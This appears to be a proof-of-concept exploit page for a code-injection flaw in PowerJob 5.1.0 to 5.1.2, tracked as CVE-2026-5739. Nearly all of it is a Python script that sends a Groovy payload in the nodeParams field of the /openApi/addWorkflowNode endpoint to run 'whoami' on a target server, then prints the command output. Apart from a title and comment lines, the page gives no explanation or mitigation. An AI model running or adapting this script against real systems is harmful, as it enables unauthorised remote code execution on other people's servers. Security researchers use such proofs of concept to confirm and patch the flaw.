CVE-2026-5739 PowerJob代码注入漏洞

import requests import json # Exploit Title: PowerJob 5.1.0 - 5.1.2 Remote Code Execution via OpenAPI # Vulnerable Endpoint: /openApi/addWorkflowNode # Description: Injecting malicious Groovy code into nodeParams parameter target_url = "http://target-host:7700/openApi/addWorkflowNode" # Malicious payload to execute 'whoami' command (Groovy syntax) # The attacker crafts the nodeParams to include a Groovy closure or script execution malicious_payload = { "appId": 1, "workflowId": 1, "nodeName": "ExploitNode", "nodeParams": "def cmd = 'whoami'.execute(); cmd.text" # Code Injection Point } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Compatible; CVE-2026-5739-Scanner)" } try: print("[+] Sending exploit payload to %s..." % target_url) response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for command output.") print("Response Body:") print(response.text) else: print("[-] Request failed with status code: %d" % response.status_code) except Exception as e: print("[-] An error occurred: %s" % str(e))